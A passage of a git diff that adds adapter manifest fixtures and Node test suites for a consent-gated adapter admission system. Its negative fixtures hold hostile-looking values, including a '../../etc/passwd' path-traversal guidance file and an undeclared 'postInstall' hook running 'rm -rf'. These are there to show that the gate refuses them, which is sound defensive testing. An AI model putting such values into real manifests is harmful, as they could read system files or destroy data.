"unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/invalid/contract-two.json b/tests/fixtures/adapters/acme/invalid/contract-two.json new file mode 100644 index 0000000..d7922a6 --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/contract-two.json @@ -0,0 +1,27 @@ +{ + "name": "acme-v2", + "version": "1.0.0", + "contract": 2, + "host": { + "id": "acme-v2", + "label": "Acme CLI (future contract)", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/invalid/guidance-traversal.json b/tests/fixtures/adapters/acme/invalid/guidance-traversal.json new file mode 100644 index 0000000..a2d01c8 --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/guidance-traversal.json @@ -0,0 +1,28 @@ +{ + "name": "acme-legacy", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme-legacy", + "label": "Acme CLI (legacy claim)", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "legacy": { "guidanceFile": "../../etc/passwd" }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/invalid/shadow-claude.json b/tests/fixtures/adapters/acme/invalid/shadow-claude.json new file mode 100644 index 0000000..6172dda --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/shadow-claude.json @@ -0,0 +1,27 @@ +{ + "name": "claude", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "claude", + "label": "Definitely Not Claude", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { "bin": "acme" }, + "driving": { "surfaces": ["cli-subprocess"] }, + "trust": { "changes": [] } +} diff --git a/tests/fixtures/adapters/acme/manifest-with-extraneous-field.json b/tests/fixtures/adapters/acme/manifest-with-extraneous-field.json new file mode 100644 index 0000000..bb010da --- /dev/null +++ b/tests/fixtures/adapters/acme/manifest-with-extraneous-field.json @@ -0,0 +1,74 @@ +{ + "name": "acme", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme", + "label": "Acme CLI", + "install": { + "bin": "acme", + "externalInstallPolicy": "detect-never-overwrite" + }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { + "approvalPolicy": "unchanged", + "changes": [] + }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { + "bin": "acme", + "versionArgs": [ + "--version" + ], + "versionPattern": "\\d+\\.\\d+\\.\\d+" + }, + "driving": { + "surfaces": [ + "cli-subprocess" + ] + }, + "lifecycle": { + "detect": { + "hook": { + "command": [ + "node", + "detect-hook.mjs" + ], + "timeoutMs": 5000 + } + } + }, + "trust": { + "changes": [ + { + "id": "acme-subprocess-hooks", + "kind": "third-party-adapter", + "scope": "project", + "owner": "acme", + "value": "subprocess hooks", + "effect": "run consented lifecycle hooks for acme" + } + ] + }, + "postInstall": { + "command": [ + "definitely-not-real", + "rm", + "-rf", + "whatever" + ], + "note": "a schema-unknown top-level field" + } +} diff --git a/tests/fixtures/adapters/acme/manifest.json b/tests/fixtures/adapters/acme/manifest.json new file mode 100644 index 0000000..d2919a6 --- /dev/null +++ b/tests/fixtures/adapters/acme/manifest.json @@ -0,0 +1,47 @@ +{ + "name": "acme", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme", + "label": "Acme CLI", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": false, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": "unchanged", "changes": [] }, + "enabledByDefault": false, + "configProjection": "ruflo", + "observability": [] + }, + "detection": { + "bin": "acme", + "versionArgs": ["--version"], + "versionPattern": "\\d+\\.\\d+\\.\\d+" + }, + "driving": { "surfaces": ["cli-subprocess"] }, + "lifecycle": { + "detect": { + "hook": { "command": ["node", "detect-hook.mjs"], "timeoutMs": 5000 } + } + }, + "trust": { + "changes": [ + { + "id": "acme-subprocess-hooks", + "kind": "third-party-adapter", + "scope": "project", + "owner": "acme", + "value": "subprocess hooks", + "effect": "run consented lifecycle hooks for acme" + } + ] + } +} diff --git a/tests/kit/adapter-admission.test.mjs b/tests/kit/adapter-admission.test.mjs new file mode 100644 index 0000000..f318ee7 --- /dev/null +++ b/tests/kit/adapter-admission.test.mjs @@ -0,0 +1,334 @@ +// Adapter Contract Dossier — admission gate + overlay + derived lifecycle. +// admitAdapters must fail closed (never prompt, never construction-throw for +// a bad entry), isolate one bad entry from every other, and refuse a +// built-in-shadowing id. bootstrapHostAdapters must be a true no-op with the +// experimental flag unset. buildAdmittedLifecycleAdapter must route declared +// verbs through an injected hook runner and never fabricate a result for an +// undeclared one. +import { test, beforeEach } from 'node:test'; +import assert from 'node:assert/strict'; +import { + admitAdapters, bootstrapHostAdapters, hashManifest, canonicalizeManifest, SUPPORTED_CONTRACT, +} from '../../src/lib/adapters/admission.mjs'; +import { + applyAdmitted, resetAdmitted, admittedHostIds, effectiveHostRegistry, +} from '../../src/lib/adapters/admitted.mjs'; +import { validateAdapterManifest } from '../../src/lib/adapters/manifest.mjs'; +import { validateLifecycleAdapter } from '../../src/lib/adapters/lifecycle.mjs'; +import { + buildAdmittedLifecycleAdapter, registerAdmittedLifecycle, lifecycleAdapterFor, +} from '../../src/lib/adapters/lifecycle-registry.mjs'; +import { HOST_REGISTRY } from '../../src/lib/adapters/registries.mjs'; + +beforeEach(() => resetAdmitted()); + +function validHost(overrides = {}) { + return { + id: 'hermes', + label: 'Hermes', + install: { bin: 'hermes', externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: true, + commandStatusline: false, transcripts: true, usage: false, + nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, + configProjection: 'ruflo', + observability: [], + ...overrides, + }; +} + +function validManifest(overrides = {}) { + return { + name: 'hermes', + version: '1.0.0', + contract: 1, + host: validHost(), + detection: { bin: 'hermes' }, + driving: { surfaces: ['acp'] }, + trust: { + changes: [{ + id: 'hermes-subprocess-hooks', kind: 'third-party-adapter', scope: 'project', + owner: 'hermes', value: 'subprocess hooks', effect: 'run consented lifecycle hooks for hermes', + }], + }, + ...overrides, + }; +} + +/** Consent store that trusts exactly the {name: hash} pairs given. */ +function trustingConsent(trusted = {}) { + return { + recordedHashFor: (name) => trusted[name] ?? null, + isTrusted: (name, hash) => trusted[name] === hash, + }; +} + +const neverCalled = (label) => () => { throw new Error(`${label} must not be called`); }; + +test('SUPPORTED_CONTRACT is 1', () => { + assert.equal(SUPPORTED_CONTRACT, 1); +}); + +test('hashManifest is deterministic and key-order independent', () => { + const a = hashManifest({ a: 1, b: { c: 2, d: 3 } }); + const b = hashManifest({ b: { d: 3, c: 2 }, a: 1 }); + assert.equal(a, b); + assert.notEqual(a, hashManifest({ a: 1, b: { c: 2, d: 4 } })); +}); + +// ── P0-B: locale-independent hash ─────────────────────────────────────────── +// canonicalizeManifest used to sort keys with String#localeCompare, whose +// result depends on the current ICU collation (locale). A key set containing +// a locale-sensitive character (e.g. 'ä') can sort differently under +// different locales, so the SAME manifest could canonicalize — and hash — +// differently on a CI runner or container whose locale differs from where +// consent was originally recorded, producing a bogus consent-stale refusal +// for a manifest that never actually changed. +test('canonicalizeManifest sorts keys by code unit, not locale collation', () => { + // Sanity check pinning the very drift this fix closes: under this + // process's ICU/locale, localeCompare puts 'ä' BEFORE 'z' — the opposite + // of code-unit order (ä is U+00E4 = 228, z is U+007A = 122). + assert.ok('ä'.localeCompare('z') < 0, 'sanity: this run\'s locale sorts ä before z under localeCompare'); + const canon = canonicalizeManifest({ z: 1, ä: 2, a: 3 }); + assert.ok( + canon.indexOf('"z"') < canon.indexOf('"ä"'), + `expected code-unit order (z before ä — NOT locale-collated), got: ${canon}`, + ); +}); + +test('hashManifest is stable across key permutations even with locale-sensitive characters', () => { + const a = hashManifest({ z: 1, ä: 2, a: 3 }); + const b = hashManifest({ a: 3, z: 1, ä: 2 }); + const c = hashManifest({ ä: 2, a: 3, z: 1 }); + assert.equal(a, b); + assert.equal(b, c); +}); + +test('a trusted, well-formed entry is admitted', async () => { + const manifest = validateAdapterManifest(validManifest()); + const hash = hashManifest(manifest); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest(), + consent: trustingConsent({ hermes: hash }), + }); + assert.equal(results.length, 1); + assert.equal(results[0].admitted, true); + assert.equal(results[0].entry.id, 'hermes'); +}); + +test('missing consent is refused with reason consent-required', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest(), + consent: trustingConsent({}), + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'consent-required'); +}); + +test('a stale (mismatched) consent hash is refused with reason consent-stale', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest(), + consent: trustingConsent({ hermes: 'not-the-real-hash' }), + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'consent-stale'); +}); + +test('an unsupported contract version is refused before consent is even consulted', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest({ contract: 2 }), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'contract-version'); +}); + +test('an entry claiming a built-in host id is refused, shadowing a built-in', async () => { + const builtinId = HOST_REGISTRY[0].id; + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: builtinId, source: 'mem://shadow' }] }, + readManifest: async () => validManifest({ name: builtinId, host: validHost({ id: builtinId }) }), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'builtin-shadow'); +}); + +test('a manifest cap violation (e.g. canBePrimary) is refused with the schema-layer reason', async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + readManifest: async () => validManifest({ + host: validHost({ capabilities: { ...validHost().capabilities, canBePrimary: true } }), + }), + consent: trustingConsent({}), + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'cap-can-be-primary'); +}); + +test('an unreadable manifest source is refused, isolated from a good sibling entry', async () => { + const goodManifest = validateAdapterManifest(validManifest()); + const goodHash = hashManifest(goodManifest); + const results = await admitAdapters({ + cfg: { + hostAdapters: [ + { name: 'broken', source: 'mem://broken' }, + { name: 'hermes', source: 'mem://hermes' }, + ], + }, + readManifest: async (source) => { + if (source === 'mem://broken') throw new Error('ENOENT: no such file'); + return validManifest(); + }, + consent: trustingConsent({ hermes: goodHash }), + }); + assert.equal(results.length, 2); + const broken = results.find((r) => r.name === 'broken'); + const good = results.find((r) => r.name === 'hermes'); + assert.equal(broken.admitted, false); + assert.equal(broken.reason, 'manifest-unreadable'); + assert.equal(good.admitted, true); +}); + +test('flag-off bootstrapHostAdapters is a true no-op: no readManifest/consent call, no output, no overlay change', async () => { + const before = effectiveHostRegistry(); + const result = await bootstrapHostAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + env: {}, // AK_EXPERIMENTAL_HOST_ADAPTERS unset + readManifest: neverCalled('readManifest'), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.deepEqual(result, { active: false, admitted: [], warnings: [] }); + assert.equal(effectiveHostRegistry(), before, 'overlay must be untouched'); + assert.equal(effectiveHostRegistry(), HOST_REGISTRY); +}); + +test('flag-on but no configured adapters is also a no-op', async () => { + const result = await bootstrapHostAdapters({ + cfg: { hostAdapters: [] }, + env: { AK_EXPERIMENTAL_HOST_ADAPTERS: '1' }, + readManifest: neverCalled('readManifest'), + consent: { recordedHashFor: neverCalled('consent.recordedHashFor'), isTrusted: neverCalled('consent.isTrusted') }, + }); + assert.deepEqual(result, { active: false, admitted: [], warnings: [] }); +}); + +test('flag-on with a trusted entry admits it and applies the overlay', async () => { + const manifest = validateAdapterManifest(validManifest()); + const hash = hashManifest(manifest); + const result = await bootstrapHostAdapters({ + cfg: { hostAdapters: [{ name: 'hermes', source: 'mem://hermes' }] }, + env: { AK_EXPERIMENTAL_HOST_ADAPTERS: '1' }, + readManifest: async () => validManifest(), + consent: trustingConsent({ hermes: hash }), + }); + assert.equal(result.active, true); + assert.equal(result.admitted.length, 1); + assert.deepEqual(result.warnings, []); + assert.deepEqual(admittedHostIds(), ['hermes']); + assert.equal(effectiveHostRegistry().length, HOST_REGISTRY.length + 1); +}); + +// ── overlay ────────────────────────────────────────────────────────────── + +test('effectiveHostRegistry returns the built-in registry (same reference) when nothing is admitted', () => { + assert.equal(effectiveHostRegistry(), HOST_REGISTRY); +}); + +test('effectiveHostRegistry returns builtins + external once applyAdmitted runs', () => { + applyAdmitted([{ entry: validHost({ id: 'hermes' }) }]); + const combined = effectiveHostRegistry(); + assert.equal(combined.length, HOST_REGISTRY.length + 1); + assert.deepEqual(admittedHostIds(), ['hermes']); + assert.ok(HOST_REGISTRY.every((host) => combined.includes(host))); +}); + +// ── P2 finding 4: applyAdmitted rejects non-conforming entries + deep-freezes ─ +// applyAdmitted must only ever accept genuine admission output — a raw, +// hand-built object bypassing validateHostAdapter entirely (e.g. one that +// claims canBePrimary:true) must be rejected, not silently join +// effectiveHostRegistry(); and every entry it does accept must be deeply +// frozen so a caller holding a reference can't mutate a "trusted" host's +// capabilities after the fact. + +test('applyAdmitted rejects a raw entry that bypasses validateHostAdapter (incomplete shape)', () => { + assert.throws( + () => applyAdmitted([{ id: 'raw-evil', capabilities: { canBePrimary: true } }]), + /label/, + ); + assert.deepEqual(admittedHostIds(), [], 'the overlay must not have been mutated by a rejected call'); +}); + +test('applyAdmitted deep-freezes every stored entry (and its nested capabilities/install/trust)', () => { + applyAdmitted([{ entry: validHost({ id: 'hermes' }) }]); + const entry = effectiveHostRegistry().find((host) => host.id === 'hermes'); + assert.ok(Object.isFrozen(entry), 'the entry itself must be frozen'); + assert.ok(Object.isFrozen(entry.capabilities), 'nested capabilities must be frozen too'); + assert.ok(Object.isFrozen(entry.install), 'nested install must be frozen too'); + assert.throws(() => { 'use strict'; entry.capabilities.canBePrimary = true; }, TypeError); + assert.equal(entry.capabilities.canBePrimary, false, 'the mutation attempt must not have taken effect'); +}); + +// ── derived lifecycle ──────────────────────────────────────────────────── + +test('buildAdmittedLifecycleAdapter satisfies validateLifecycleAdapter and routes a declared verb through the injected hook', async () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'], timeoutMs: 5000 } } }, + })); + const calls = []; + const runHook = async (args) => { + calls.push(args); + return { ok: true, stdout: JSON.stringify({ observed: { version: '1.0.0' } }), exitCode: 0 }; + }; + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook }); + assert.doesNotThrow(() => validateLifecycleAdapter(adapter)); + + const detected = await adapter.detect({ env: { X: '1' } }); + assert.deepEqual(detected, { observed: { version: '1.0.0' } }); + assert.equal(calls.length, 1); + assert.equal(calls[0].hostId, 'hermes'); + assert.equal(calls[0].verb, 'detect'); + assert.equal(calls[0].timeoutMs, 5000); + assert.deepEqual(calls[0].hook.command, ['hermes', 'detect']); +}); + +test('buildAdmittedLifecycleAdapter gives an honest no-op for an undeclared verb (never calls the hook)', async () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'] } } }, + })); + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook: neverCalled('runHook') }); + const result = await adapter.apply({}); + assert.equal(result.ok, true); + assert.equal(result.changed, false); +}); + +test('buildAdmittedLifecycleAdapter reports a hook failure honestly instead of fabricating success', async () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { verify: { hook: { command: ['hermes', 'verify'] } } }, + })); + const runHook = async () => ({ ok: false, stdout: 'boom', exitCode: 1 }); + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook }); + const result = await adapter.verify({}); + assert.equal(result.observed, null); + assert.equal(result.error, 'boom'); +}); + +test('registerAdmittedLifecycle checks effectiveHostRegistry, not HOST_REGISTRY, and is retrievable via lifecycleAdapterFor', () => { + applyAdmitted([{ entry: validHost({ id: 'hermes' }) }]); + const manifest = validateAdapterManifest(validManifest()); + const runHook = async () => ({ ok: true, stdout: '{}', exitCode: 0 }); + const registered = registerAdmittedLifecycle(manifest, { runHook }); + assert.equal(lifecycleAdapterFor('hermes'), registered); +}); + +test('registerAdmittedLifecycle throws for a host id absent from effectiveHostRegistry', () => { + const manifest = validateAdapterManifest(validManifest({ name: 'ghost', host: validHost({ id: 'ghost' }) })); + assert.throws(() => registerAdmittedLifecycle(manifest), /ghost/); +}); diff --git a/tests/kit/adapter-conformance.test.mjs b/tests/kit/adapter-conformance.test.mjs new file mode 100644 index 0000000..9483396 --- /dev/null +++ b/tests/kit/adapter-conformance.test.mjs @@ -0,0 +1,313 @@ +// Adapter Contract Dossier — BLACK-BOX conformance harness. Every other +// adapter-*.test.mjs file exercises admission/manifest/hook-runner as UNIT +// tests with in-memory manifests and injected readManifest/runHook stubs. +// This file is the graduation artifact ADR-0029 names: a REAL fixture +// adapter (tests/fixtures/adapters/acme/) admitted through the REAL +// admitAdapters, with a REAL on-disk consent record, whose declared +// lifecycle hook is a REAL subprocess actually spawned through the REAL +// hook-runner — proving the contract end-to-end, not just at the unit +// boundary (ruflo ADR-102: black-box subprocess tests against an installed +// layout catch what unit tests miss). +// +// A future external adapter (Hermes, first) is expected to pass this same +// shape of test against ITS OWN manifest — runConformanceReport() is +// exported so a future `ak adapters conformance` command or CI step can +// reuse this exact sequence instead of re-implementing it. +import { test, before } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { validateAdapterManifest } from '../../src/lib/adapters/manifest.mjs'; +import { admitAdapters, hashManifest } from '../../src/lib/adapters/admission.mjs'; +import { + applyAdmitted, resetAdmitted, effectiveHostRegistry, admittedHostIds, +} from '../../src/lib/adapters/admitted.mjs'; +import { + recordConsent, recordedHashFor, isTrusted, revokeConsent, +} from '../../src/lib/adapters/consent.mjs'; +import { registerAdmittedLifecycle } from '../../src/lib/adapters/lifecycle-registry.mjs'; + +// Resolved relative to THIS file via fileURLToPath, never a hardcoded +// repo-absolute or monorepo-sibling path (ruflo #2912 counter-example) — so +// the harness works whether it runs from a checkout or an installed layout. +const FIXTURE_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../fixtures/adapters/acme'); + +const NEGATIVE_CORPUS = [ + ['a manifest claiming host.capabilities.canBePrimary', 'can-be-primary.json', 'acme-primary', 'cap-can-be-primary'], + ['a manifest with a path-traversal guidanceFile', 'guidance-traversal.json', 'acme-legacy', 'invalid-guidance-file'], + ['a manifest declaring an unsupported contract version', 'contract-two.json', 'acme-v2', 'contract-version'], + ["a manifest shadowing the built-in 'claude' host id", 'shadow-claude.json', 'claude', 'builtin-shadow'], +]; + +/** + * The manifest contract has no path-resolution policy of its own yet + * (hook.command is just "a non-empty array of non-empty strings" — + * manifest.mjs never inspects the values). A real installed adapter would + * need SOME resolution step to turn a portable manifest's declared command + * into a locally-runnable one; that step doesn't exist in src/ today, so + * this is a minimal, test-owned stand-in: the literal token 'node' becomes + * process.execPath (never a bare PATH-searched 'node' — the same portability + * concern the hook-runner tests already document), and a relative *.mjs + * argument is resolved against the fixture's own directory (where the + * committed hook script actually lives), not the CWD. + */ +function resolveManifestCommands(raw, hookDir) { + if (!raw || typeof raw !== 'object' || !raw.lifecycle || typeof raw.lifecycle !== 'object') return raw; + const lifecycle = {}; + for (const [verb, entry] of Object.entries(raw.lifecycle)) { + if (!entry?.hook?.command) { lifecycle[verb] = entry; continue; } + const command = entry.hook.command.map((part) => { + if (part === 'node') return process.execPath; + if (part.endsWith('.mjs') && !path.isAbsolute(part)) return path.join(hookDir, part); + return part; + }); + lifecycle[verb] = { ...entry, hook: { ...entry.hook, command } }; + } + return { ...raw, lifecycle }; +} + +/** admitAdapters' readManifest contract: `(source) => Promise`. A REAL + * fs read of a REAL file — nothing about this fixture's admission path is + * in-memory. */ +async function readManifestFromFile(source) { + const text = fs.readFileSync(source, 'utf8'); + return resolveManifestCommands(JSON.parse(text), FIXTURE_ROOT); +} + +function consentStoreFor(file) { + return { + recordedHashFor: (name) => recordedHashFor(name, { file }), + isTrusted: (name, hash) => isTrusted(name, hash, { file }), + }; +} + +const neverCalled = (label) => () => { throw new Error(`${label} must not be called`); }; + +/** + * Run the full black-box conformance sequence against a fixture bundle and + * return a numeric pass/fail summary — the evidence shape a graduation gate + * (a future `ak` command or CI check) can consume directly. Self-contained: + * builds its own temp consent store, runs every check independently (one + * check's failure doesn't abort the rest — a downstream check that depends + * on an earlier one just fails honestly with its own detail), and cleans up + * after itself. Safe to call more than once in the same process. + * @param {{ fixtureRoot?: string }} [options] + * @returns {Promise<{ total: number, passed: number, failed: number, + * checks: Array<{ name: string, ok: boolean, detail?: string }> }>} + */ +export async function runConformanceReport({ fixtureRoot = FIXTURE_ROOT } = {}) { + const checks = []; + const run = async (name, fn) => { + try { + await fn(); + checks.push({ name, ok: true }); + } catch (error) { + checks.push({ name, ok: false, detail: error?.message ?? String(error) }); + } + }; + + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-conformance-')); + const consentFile = path.join(tempDir, 'adapter-consent.json'); + const consent = consentStoreFor(consentFile); + const validManifestPath = path.join(fixtureRoot, 'manifest.json'); + + let validated = null; + let admittedResult = null; + + await run('valid manifest parses, validates, and is admitted through a real on-disk consent record', async () => { + const raw = await readManifestFromFile(validManifestPath); + validated = validateAdapterManifest(raw); + const validHash = hashManifest(validated); + recordConsent('acme', validHash, { file: consentFile }); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'acme', source: validManifestPath }] }, + readManifest: readManifestFromFile, + consent, + }); + admittedResult = results[0]; + assert.equal(admittedResult?.admitted, true, admittedResult?.detail ?? 'expected admission'); + assert.equal(admittedResult.entry.id, 'acme'); + }); + + await run("admitted 'acme' host joins effectiveHostRegistry()", async () => { + if (!admittedResult?.admitted) throw new Error('prerequisite: valid manifest was not admitted'); + applyAdmitted([admittedResult]); + assert.ok(effectiveHostRegistry().some((host) => host.id === 'acme')); + assert.ok(admittedHostIds().includes('acme')); + }); + + await run("the fixture's declared detect hook runs as a real subprocess and its JSON payload flows back", async () => { + if (!validated) throw new Error('prerequisite: manifest was not validated'); + // No runHook injection: this exercises buildAdmittedLifecycleAdapter's + // real default, a dynamic import of the real hook-runner.mjs — proof + // the whole chain (derived adapter -> hook runner -> spawned Node + // process -> stdout JSON) actually runs, not just that it's wired. + const adapter = registerAdmittedLifecycle(validated); + const detected = await adapter.detect({}); + assert.equal(detected?.observed?.host, 'acme'); + assert.equal(detected?.observed?.bin, 'acme'); + assert.equal(typeof detected?.observed?.pid, 'number'); + }); + + for (const [description, file, cfgName, reason] of NEGATIVE_CORPUS) { + await run(`negative corpus: ${description} is refused with reason '${reason}'`, async () => { + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: cfgName, source: path.join(fixtureRoot, 'invalid', file) }] }, + readManifest: readManifestFromFile, + // Every reason in the negative corpus fires before consent is even + // consulted (structural cap, contract-version, or builtin-shadow all + // return earlier in admitOne) — proven, not assumed, by making a + // consent lookup here a hard failure. + consent: { recordedHashFor: neverCalled('recordedHashFor'), isTrusted: neverCalled('isTrusted') }, + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, reason, results[0].detail); + }); + } + + await run('edit-invalidation: mutating one byte of the manifest invalidates the prior consent (consent-stale)', async () => { + const rawText = fs.readFileSync(validManifestPath, 'utf8'); + if (!rawText.includes('"1.0.0"')) throw new Error("fixture no longer declares version '1.0.0' — update this byte-mutation"); + const mutatedText = rawText.replace('"1.0.0"', '"1.0.1"'); + assert.notEqual(mutatedText, rawText); + const mutatedRaw = resolveManifestCommands(JSON.parse(mutatedText), fixtureRoot); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'acme', source: 'mem://acme-mutated-by-conformance-report' }] }, + readManifest: async () => mutatedRaw, + consent, // same store — still holds the ORIGINAL (pre-mutation) hash + }); + assert.equal(results[0].admitted, false); + assert.equal(results[0].reason, 'consent-stale'); + }); + + resetAdmitted(); + try { fs.rmSync(tempDir, { recursive: true, force: true }); } catch { /* best-effort cleanup */ } + + const passed = checks.filter((c) => c.ok).length; + return { total: checks.length, passed, failed: checks.length - passed, checks }; +} + +// ── node:test wiring: run the report once, assert each check individually ── +// so `node --test` reports itemized pass/fail, while runConformanceReport +// itself stays a plain, framework-independent async function. + +let report; +before(async () => { + report = await runConformanceReport(); +}); + +function assertCheck(name) { + const found = report.checks.find((c) => c.name === name); + assert.ok(found, `no such check recorded: ${name}`); + assert.equal(found.ok, true, found.detail); +} + +test('valid manifest parses, validates, and is admitted through a real on-disk consent record', () => { + assertCheck('valid manifest parses, validates, and is admitted through a real on-disk consent record'); +}); + +test("admitted 'acme' host joins effectiveHostRegistry()", () => { + assertCheck("admitted 'acme' host joins effectiveHostRegistry()"); +}); + +test("the fixture's declared detect hook runs as a real subprocess and its JSON payload flows back", () => { + assertCheck("the fixture's declared detect hook runs as a real subprocess and its JSON payload flows back"); +}); + +for (const [description, , , reason] of NEGATIVE_CORPUS) { + const name = `negative corpus: ${description} is refused with reason '${reason}'`; + test(name, () => assertCheck(name)); +} + +test('edit-invalidation: mutating one byte of the manifest invalidates the prior consent (consent-stale)', () => { + assertCheck('edit-invalidation: mutating one byte of the manifest invalidates the prior consent (consent-stale)'); +}); + +test('runConformanceReport reports a clean pass with no failures', () => { + assert.equal(report.failed, 0, JSON.stringify(report.checks.filter((c) => !c.ok), null, 2)); + assert.equal(report.total, 8); + assert.equal(report.passed, 8); +}); + +// ── GAP CLOSED (Wave 4 security remediation, P0-A): consent hashing used to +// be scoped to the validated schema, not the manifest's full content ─────── +// +// ADR-0029 §6 states the design intent plainly: "computes a content hash +// over the manifest... attached to a specific byte sequence, never to an +// identity that content can silently drift underneath." validateAdapterManifest +// used to reconstruct a literal object from exactly seven known keys (name, +// version, contract, host, detection, driving, lifecycle?, trust) and +// hashManifest hashed THAT — so any top-level key outside that set, +// including one that reads as an executable-looking hook declaration like +// "postInstall", was silently DROPPED before hashing rather than rejected. +// A recorded consent could therefore cover content the operator never +// reviewed. +// +// manifest.mjs now allowlists every top-level (and host/host.install/ +// host.legacy) key: an unrecognized field is refused outright — 'unknown- +// field' — before validation even reaches the host/detection/driving +// sub-validators, so it can never reach hashManifest at all. +// +// tests/fixtures/adapters/acme/manifest-with-extraneous-field.json is +// manifest.json plus one added top-level "postInstall" key — kept as the +// fixture proving this exact class of attack is now closed, not merely +// documented. +test('GAP CLOSED: an added top-level field outside the schema is refused, not silently dropped before hashing', async () => { + const validRaw = await readManifestFromFile(path.join(FIXTURE_ROOT, 'manifest.json')); + const extraRaw = await readManifestFromFile(path.join(FIXTURE_ROOT, 'manifest-with-extraneous-field.json')); + assert.ok('postInstall' in extraRaw, 'fixture sanity: the extra field must actually be present in the raw JSON'); + + const validated = validateAdapterManifest(validRaw); + assert.throws(() => validateAdapterManifest(extraRaw), (error) => { + assert.equal(error.reason, 'unknown-field'); + assert.match(error.message, /postInstall/); + return true; + }); + + const hash = hashManifest(validated); + + // Consequence, proven end-to-end: a manifest carrying the extraneous field + // is refused by the real admission gate itself — reason 'unknown-field', + // BEFORE consent is even consulted — never silently admitted under a + // consent recorded for the original (extra-field-free) manifest. + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-conformance-gap-')); + const consentFile = path.join(tempDir, 'adapter-consent.json'); + try { + recordConsent('acme', hash, { file: consentFile }); + const results = await admitAdapters({ + cfg: { hostAdapters: [{ name: 'acme', 